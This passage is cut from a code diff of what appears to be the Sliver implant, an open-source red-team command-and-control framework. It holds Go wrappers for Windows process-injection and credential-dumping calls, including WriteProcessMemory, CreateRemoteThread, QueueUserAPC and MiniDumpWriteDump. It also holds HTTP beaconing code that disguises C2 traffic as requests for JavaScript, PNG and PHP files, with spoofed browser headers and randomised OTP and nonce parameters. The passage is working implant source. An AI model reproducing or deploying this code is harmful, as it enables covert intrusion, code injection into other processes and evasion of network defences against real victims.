err = errnoErr(e1)
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
err = errnoErr(e1)
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
err = errnoErr(e1)
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
err = errnoErr(e1)
}
return
}
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
err = errnoErr(e1)
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
err = errnoErr(e1)
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeDisplayNameW(systemName string, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeDisplayNameW(_p0, privilegeName, buffer, size, languageId)
}
func _LookupPrivilegeDisplayNameW(systemName *uint16, privilegeName *uint16, buffer *uint16, size *uint32, languageId *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeDisplayNameW.Addr(), 5, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(privilegeName)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), uintptr(unsafe.Pointer(languageId)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func LookupPrivilegeNameW(systemName string, luid *uint64, buffer *uint16, size *uint32) (err error) {
var _p0 *uint16
_p0, err = syscall.UTF16PtrFromString(systemName)
if err != nil {
return
}
return _LookupPrivilegeNameW(_p0, luid, buffer, size)
}
func _LookupPrivilegeNameW(systemName *uint16, luid *uint64, buffer *uint16, size *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procLookupPrivilegeNameW.Addr(), 4, uintptr(unsafe.Pointer(systemName)), uintptr(unsafe.Pointer(luid)), uintptr(unsafe.Pointer(buffer)), uintptr(unsafe.Pointer(size)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
@@ -131,65 +275,28 @@ func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.S
var _p0 uint32
if inheritHandles {
_p0 = 1
} else {
_p0 = 0
}
r1, _, e1 := syscall.Syscall12(procCreateProcessW.Addr(), 10, uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(unsafe.Pointer(procSecurity)), uintptr(unsafe.Pointer(threadSecurity)), uintptr(_p0), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
}
return
}
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
err = errnoErr(e1)
}
return
}
@@ -199,270 +306,124 @@ func DeleteProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST)
return
}
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateRemoteThread(hProcess windows.Handle, lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall9(procCreateRemoteThread.Addr(), 7, uintptr(hProcess), uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)), 0, 0)
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func CreateThread(lpThreadAttributes *windows.SecurityAttributes, dwStackSize uint32, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags uint32, lpThreadId *uint32) (threadHandle windows.Handle, err error) {
r0, _, e1 := syscall.Syscall6(procCreateThread.Addr(), 6, uintptr(unsafe.Pointer(lpThreadAttributes)), uintptr(dwStackSize), uintptr(lpStartAddress), uintptr(lpParameter), uintptr(dwCreationFlags), uintptr(unsafe.Pointer(lpThreadId)))
threadHandle = windows.Handle(r0)
if threadHandle == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetExitCodeThread(hTread windows.Handle, lpExitCode *uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetExitCodeThread.Addr(), 2, uintptr(hTread), uintptr(unsafe.Pointer(lpExitCode)), 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procMiniDumpWriteDump.Addr(), 7, uintptr(hProcess), uintptr(pid), uintptr(hFile), uintptr(dumpType), uintptr(exceptionParam), uintptr(userStreamParam), uintptr(callbackParam), 0, 0)
func GetProcessHeap() (procHeap windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetProcessHeap.Addr(), 0, 0, 0, 0)
procHeap = windows.Handle(r0)
if procHeap == 0 {
err = errnoErr(e1)
}
return
}
func HeapAlloc(hHeap windows.Handle, dwFlags uint32, dwBytes uintptr) (lpMem uintptr, err error) {
r0, _, e1 := syscall.Syscall(procHeapAlloc.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(dwBytes))
lpMem = uintptr(r0)
if lpMem == 0 {
err = errnoErr(e1)
}
return
}
func HeapFree(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procHeapFree.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
func HeapReAlloc(hHeap windows.Handle, dwFlags uint32, lpMem uintptr, dwBytes uintptr) (lpRes uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procHeapReAlloc.Addr(), 4, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem), uintptr(dwBytes), 0, 0)
lpRes = uintptr(r0)
if lpRes == 0 {
err = errnoErr(e1)
}
return
}
func HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) {
r0, _, e1 := syscall.Syscall(procHeapSize.Addr(), 3, uintptr(hHeap), uintptr(dwFlags), uintptr(lpMem))
res = uint32(r0)
if res == 0 {
err = errnoErr(e1)
}
return
}
func InitializeProcThreadAttributeList(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwAttributeCount uint32, dwFlags uint32, lpSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procInitializeProcThreadAttributeList.Addr(), 4, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwAttributeCount), uintptr(dwFlags), uintptr(unsafe.Pointer(lpSize)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) {
r1, _, e1 := syscall.Syscall6(procLogonUserW.Addr(), 6, uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(phToken)))
func PssCaptureSnapshot(processHandle windows.Handle, captureFlags uint32, threadContextFlags uint32, snapshotHandle *windows.Handle) (err error) {
r1, _, e1 := syscall.Syscall6(procPssCaptureSnapshot.Addr(), 4, uintptr(processHandle), uintptr(captureFlags), uintptr(threadContextFlags), uintptr(unsafe.Pointer(snapshotHandle)), 0, 0)
if r1 == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
err = errnoErr(e1)
}
return
}
func GetDC(HWND windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDC.Addr(), 1, uintptr(HWND), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func QueueUserAPC(pfnAPC uintptr, hThread windows.Handle, dwData uintptr) (err error) {
r1, _, e1 := syscall.Syscall(procQueueUserAPC.Addr(), 3, uintptr(pfnAPC), uintptr(hThread), uintptr(dwData))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) {
r0, _, e1 := syscall.Syscall(procReleaseDC.Addr(), 2, uintptr(hWnd), uintptr(hDC), 0)
int = uint32(r0)
if int == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) {
r1, _, e1 := syscall.Syscall9(procUpdateProcThreadAttribute.Addr(), 7, uintptr(unsafe.Pointer(lpAttributeList)), uintptr(dwFlags), uintptr(attribute), uintptr(unsafe.Pointer(lpValue)), uintptr(cbSize), uintptr(lpPreviousValue), uintptr(unsafe.Pointer(lpReturnSize)), 0, 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func CreateCompatibleDC(hdc windows.Handle) (HDC windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleDC.Addr(), 1, uintptr(hdc), 0, 0)
HDC = windows.Handle(r0)
if HDC == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) {
r0, _, e1 := syscall.Syscall6(procVirtualAllocEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect), 0)
addr = uintptr(r0)
if addr == 0 {
err = errnoErr(e1)
}
return
}
func GetDesktopWindow() (HWND windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetDesktopWindow.Addr(), 0, 0, 0, 0)
HWND = windows.Handle(r0)
if HWND == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) {
r1, _, e1 := syscall.Syscall6(procVirtualProtectEx.Addr(), 5, uintptr(hProcess), uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(unsafe.Pointer(lpflOldProtect)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func DeleteDC(hdc windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteDC.Addr(), 1, uintptr(hdc), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) {
r1, _, e1 := syscall.Syscall6(procWriteProcessMemory.Addr(), 5, uintptr(hProcess), uintptr(lpBaseAddress), uintptr(unsafe.Pointer(lpBuffer)), uintptr(nSize), uintptr(unsafe.Pointer(lpNumberOfBytesWritten)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
return
}
func CreateCompatibleBitmap(hdc windows.Handle, cx int, cy int) (HBITMAP windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procCreateCompatibleBitmap.Addr(), 3, uintptr(hdc), uintptr(cx), uintptr(cy))
HBITMAP = windows.Handle(r0)
if HBITMAP == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
func RtlCopyMemory(dest uintptr, src uintptr, dwSize uint32) {
syscall.Syscall(procRtlCopyMemory.Addr(), 3, uintptr(dest), uintptr(src), uintptr(dwSize))
return
}
func DeleteObject(ho windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procDeleteObject.Addr(), 1, uintptr(ho), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalAlloc(uFlags uint, dwBytes uintptr) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalAlloc.Addr(), 2, uintptr(uFlags), uintptr(dwBytes), 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalFree(hMem windows.Handle) (HGLOBAL windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGlobalFree.Addr(), 1, uintptr(hMem), 0, 0)
HGLOBAL = windows.Handle(r0)
if HGLOBAL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalLock(hMem windows.Handle) (LPVOID uintptr, err error) {
r0, _, e1 := syscall.Syscall(procGlobalLock.Addr(), 1, uintptr(hMem), 0, 0)
LPVOID = uintptr(r0)
if LPVOID == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GlobalUnlock(hMem windows.Handle) (BOOL uint32, err error) {
r0, _, e1 := syscall.Syscall(procGlobalUnlock.Addr(), 1, uintptr(hMem), 0, 0)
BOOL = uint32(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func SelectObject(hdc windows.Handle, h windows.Handle) (HGDIOBJ windows.Handle, err error) {
r0, _, e1 := syscall.Syscall(procSelectObject.Addr(), 2, uintptr(hdc), uintptr(h), 0)
HGDIOBJ = windows.Handle(r0)
if HGDIOBJ == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func BitBlt(hdc windows.Handle, x uint32, y uint32, cx uint32, cy uint32, hdcSrc windows.Handle, x1 uint32, y1 uint32, rop int32) (BOOL int, err error) {
r0, _, e1 := syscall.Syscall9(procBitBlt.Addr(), 9, uintptr(hdc), uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), uintptr(hdcSrc), uintptr(x1), uintptr(y1), uintptr(rop))
BOOL = int(r0)
if BOOL == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
}
return
}
func GetDIBits(hdc windows.Handle, hbm windows.Handle, start uint32, cLines uint32, lpvBits uintptr, lpbmi uintptr, usage int) (ret int, err error) {
r0, _, e1 := syscall.Syscall9(procGetDIBits.Addr(), 7, uintptr(hdc), uintptr(hbm), uintptr(start), uintptr(cLines), uintptr(lpvBits), uintptr(lpbmi), uintptr(usage), 0, 0)
ret = int(r0)
if ret == 0 {
if e1 != 0 {
err = errnoErr(e1)
} else {
err = syscall.EINVAL
}
func GetProcessMemoryInfo(process windows.Handle, ppsmemCounters *ProcessMemoryCounters, cb uint32) (err error) {
r1, _, e1 := syscall.Syscall(procGetProcessMemoryInfo.Addr(), 3, uintptr(process), uintptr(unsafe.Pointer(ppsmemCounters)), uintptr(cb))
if r1 == 0 {
err = errnoErr(e1)
}
return
}
+162 -46
View File
@@ -23,7 +23,7 @@ package transports
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = init
// .png = init
// .php = session
// .js = poll
@@ -53,15 +53,23 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"google.golang.org/protobuf/proto"
)
const (
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
userAgent = "{{GenerateUserAgent}}"
defaultNetTimeout = time.Second * 60
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
@@ -119,23 +127,62 @@ func (s *SliverHTTPClient) SessionInit() error {
return nil
}
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))
req.URL.RawQuery = query.Encode()
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
return req
}
func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
// {{if .Config.Debug}}
log.Printf("Encoder nonce %d", value)
// {{end}}
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(value))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
value = value[:index] + char + value[index:]
}
values.Add(string([]byte{key1, key2}), value)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
uri := s.txtURL()
nonce, encoder := encoders.RandomTxtEncoder()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -180,22 +227,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
// We do our own POST here because the server doesn't have the
// session key yet.
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
nonce, encoder := encoders.RandomEncoder()
// {{if .Config.Debug}}
log.Printf("[http] sessionInit = %v", sessionInit)
// {{end}}
payload := encoder.Encode(sessionInit)
// {{if .Config.Debug}}
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
// {{end}}
reqBody := bytes.NewReader(payload) // Already RSA encrypted
uri := s.jspURL()
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
uri := s.phtmlURL()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
resp, err := s.Client.Do(req)
if err != nil {
return err
@@ -227,7 +271,8 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
}
uri := s.jsURL()
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
s.nonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
@@ -269,13 +314,16 @@ func (s *SliverHTTPClient) Send(data []byte) error {
}
reqData, err := GCMEncrypt(*s.SessionKey, data)
nonce, encoder := encoders.RandomEncoder()
reader := bytes.NewReader(encoder.Encode(reqData))
uri := s.phpURL()
nonce, encoder := encoders.RandomEncoder()
s.nonceQueryArgument(uri, nonce)
reader := bytes.NewReader(encoder.Encode(reqData))
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
req := s.newHTTPRequest(http.MethodPost, uri, reader)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -299,44 +347,97 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) jsURL() string {
// Procedural C2
// ===============
// .txt = rsakey
// .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
func (s *SliverHTTPClient) jsURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"js", "static", "assets", "dist", "javascript"}
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
segments := []string{
// {{range .HTTPC2Config.JsPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.JsFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) jspURL() string {
func (s *SliverHTTPClient) pngURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"app", "admin", "upload", "actions", "api"}
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
segments := []string{
// {{range .HTTPC2Config.PngPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PngFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) phpURL() string {
func (s *SliverHTTPClient) phpURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"api", "rest", "drupal", "wordpress"}
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
segments := []string{
// {{range .HTTPC2Config.PhpPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PhpFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) txtURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
func (s *SliverHTTPClient) phtmlURL() *url.URL {
curl := s.phpURL()
curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
return curl
}
func (s *SliverHTTPClient) txtURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.TxtPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.TxtFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
n := insecureRand.Intn(2) // How many segments?
genSegments := []string{}
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
for index := 0; index < n; index++ {
